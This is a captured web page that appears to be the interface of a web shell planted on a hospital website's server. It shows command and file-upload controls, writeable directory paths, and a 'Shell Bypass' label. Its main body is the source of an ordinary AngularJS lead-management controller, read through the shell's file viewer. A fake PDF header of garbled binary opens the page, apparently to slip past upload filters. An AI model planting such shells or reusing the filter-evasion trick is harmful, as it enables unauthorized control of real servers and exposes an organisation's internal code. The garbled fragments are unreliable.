%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/js/leads_data_sets.js
/** DataSetLeads **/
angular.module('MetronicApp').controller("DataSetLeads", function ($scope, $http, $state, $location, $timeout, Auth) {
	var DS = this;
	var ds_mdata = {};
	DS.sdata = { p: 1 };
	DS.ds_user_id = '';
	DS.my_data_set_id = 0;
	DS.callers = [];

	DS.clear_data = function () {
		DS.mdata = {};
		$(".allChk").prop('checked', false);
		$(".leadOptHeight,.utmSourcesBx, .leadSourcesBx").scrollTop(0);
	}

	DS.open_form = function (dtl, from_other_page) {
		DS.mdata = ds_mdata;
		DS.from_other_page = from_other_page ? true : false;
		hide_form_errors($("#dsfrm"));
		DS.data = dtl ? dtl : { id: '', show_campus_offline_leads: 'Y' };
		if (!DS.data.id) {
			DS.data.for = "CALLER";
		}
		showModal($("#dsFormModal"), true);

		$timeout(function () {
			setBsDatepicker($("#dsfrm .hasCal"));
		});
	}

	DS.lists = function (p) {
		if ($state.current.name != 'leads-data-sets' && $state.current.name != 'manage-campaigns') {
			return;
		}
		show_loader();
		DS.sdata.p = p ? p : 1;
		$http({ url: API_URL + 'dataset/lists', params: DS.sdata }).success(
			function (res) {
				DS.result = res.result;
				DS.page = res.page;
			}
		).error(function (res) { showHttpErr(res); });
	}

	DS.save = function () {
		var frm = $("#dsfrm");
		var formData = new FormData(frm[0]);
		if (!DS.data.id) {
			formData.append('cities_serialized', DS.data.cities_serialized);
		}
		show_loader();
		$http({ url: API_URL + 'dataset/save', method: 'POST', data: (formData), headers: { 'Content-Type': undefined } }).success(
			function (res) {
				if (res.success) {
					show_alert_msg(res.msg);
					DS.lists(DS.data.id ? DS.sdata.p : 1);
					hideModal($("#dsFormModal"));
					DS.clear_data();
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	DS.edit = function (id, createNew) {
		show_loader();
		$http({ url: API_URL + 'dataset/detail/' + id }).success(
			function (res) {
				if (createNew) {
					res.id = '';
					res.title = '';
				}
				DS.open_form(res);
			}
		).error(function (res) { showHttpErr(res); });
	}
	DS.detail_by_user_id = function (id) {
		DS.ds_user_id = id;
		show_loader();
		$http({ url: API_URL + 'dataset/detail_by_user_id/' + id }).success(
			function (res) {
				DS.open_form(res, true);
			}
		).error(function (res) { showHttpErr(res); });
	}

	DS.delete = function (id) {
		if (!confirm("Are you sure to delete?")) {
			return;
		}
		show_loader();
		$http({ url: API_URL + 'dataset/delete', method: 'POST', data: (({ id: id })) }).success(
			function (res) {
				if (res.success == 'T') {
					show_alert_msg(res.msg);
					var pg = DS.sdata.p;
					if (DS.page.total == 1) {
						pg = 1;
					}
					DS.lists(pg);
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	DS.is_checked = function (data, id) {
		if (!angular.isDefined(DS.data[data])) {
			return false;
		}
		return DS.data[data].indexOf(id) != -1;
	}

	DS.cities = function (state_id) {
		DS.ds_city_state_id = state_id;
		show_loader();
		$http({ url: API_URL + 'dataset/cities', params: { state_id: state_id, id: (DS.data.id || DS.my_data_set_id) } }).success(
			function (res) {
				hide_loader();
				DS.mdata.cities = res.cities;
				showModal($("#dsCitiesModal"), true);
			}
		).error(function (res) { showHttpErr(res); });
	}
	DS.saveCities = function () {
		var frm = $("#dsCitiesForm");
		var formData = new FormData(frm[0]);
		show_loader();
		$http({ url: API_URL + 'dataset/saveCities', method: 'POST', data: (formData), headers: { 'Content-Type': undefined } }).success(
			function (res) {
				hide_loader();
				if (res.success) {
					show_alert_msg(res.msg);
					$("#dsCitiesModal").modal('hide');
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	DS.plans = function (program_id) {
		DS.ds_plan_program_id = program_id;

		show_loader();
		$http({ url: API_URL + 'dataset/plans', params: { program_id, id: DS.data.id } }).success(
			function (res) {
				hide_loader();
				DS.mdata.plans = res.plans;
				showModal($("#dsPlansModal"), true);
			}
		);
	}
	DS.savePlans = function () {
		var frm = $("#dsPlansForm");
		var formData = new FormData(frm[0]);
		show_loader();
		$http({ url: API_URL + 'dataset/savePlans', method: 'POST', data: (formData), headers: { 'Content-Type': undefined } }).success(
			function (res) {
				hide_loader();
				if (res.success) {
					show_alert_msg(res.msg);
					$("#dsPlansModal").modal('hide');
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		);
	}

	/** Split */
	DS.openSplitForm = (rob) => {
		DS.splitData = {
			ds_id: rob.id,
			ds_name: rob.title,
			leads_count: rob.leads_count,
			callers: [],
		};
		DS.splitDtl = rob.splitDtl;
		$("#splitFormModal").modal();

		set_numeric_input();
	}

	DS.addSplitCaller = () => {
		DS.splitData.callers.push({});
	}

	DS.removeSplitCaller = (i) => {
		DS.splitData.callers.splice(i, 1);
	}

	DS.totalSplitCallersLeads = () => {
		let n = 0;
		DS.splitData.callers.forEach(v => {
			n = n + getNumValue(v.no_of_leads);
		});
		return n;
	}

	DS.splitDataset = function () {
		if (DS.splitData.callers.length < 1) {
			show_alert_msg("Add callers!", "E");
			return;
		}
		let err = false;
		DS.splitData.callers.forEach(v => {
			if (!v.id) {
				show_alert_msg("Select caller!", "E");
				err = true;
				return false;
			}
			if (!v.no_of_leads * 1) {
				show_alert_msg("Add no. of leads for selected caller!", "E");
				err = true;
				return false;
			}
		});
		if (err) {
			return;
		}

		if (DS.totalSplitCallersLeads() !== DS.splitData.leads_count) {
			show_alert_msg("Leads count is not matching with assigned to callers!", "E");
			return;
		}

		let data = { data: angular.toJson(DS.splitData) };
		show_loader();
		$http({ url: API_URL + 'dataset/splitDataset', method: 'POST', data }).success(
			function (res) {
				hide_loader();
				if (res.success) {
					show_alert_msg(res.msg);
					$("#splitFormModal").modal('hide');
					DS.lists(DS.sdata.p);
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		);
	}
	/** \ */

	/** Init **/
	DS.init = function () {
		DS.lists();

		//show_loader();
		$http({ url: API_URL + 'dataset/init?noloader=1' }).success(
			function (res) {
				DS.callers = res.callers;
				DS.my_data_set_id = res.my_data_set_id;

				ds_mdata.states = res.states;
				ds_mdata.acs = res.acs;
				ds_mdata.disciplines = res.disciplines;
				ds_mdata.programs = res.programs;
				//ds_mdata.plans=res.plans;
				ds_mdata.schools = res.schools;
				ds_mdata.utm_sources = res.utm_sources;
				ds_mdata.lead_sources = res.lead_sources;
				ds_mdata.lead_remarks = res.lead_remarks;
				ds_mdata.ps_app_status_list = res.ps_app_status_list;
				ds_mdata.leadFields = res.leadFields;
				ds_mdata.steps = ['1', '2', '3', '0'];
				ds_mdata.payment_modes = ['ONLINE', 'CASH'];
				ds_mdata.encryptionFields = [{ k: 'encrypt_mob', v: 'Mobile' }, { k: 'encrypt_email', v: 'Email' }, { k: 'encrypt_txnid', v: 'TXN ID' }];

				ds_mdata.superbot_dispositions = [
					'Admission already taken',
					'Call Picked by Someone Else',
					'Interested in Admission',
					'Lead verified with call back request',
					'Lead verified without call back request',
					'Looking for admission',
					'Name not Verified',
					'Not Interested for admission',
					'Not looking for admission',
					'Only Name Verified'
				];


			}
		).error(function (res) { showHttpErr(res); });
	}
	DS.init();
});

//EOF

Kontol Shell Bypass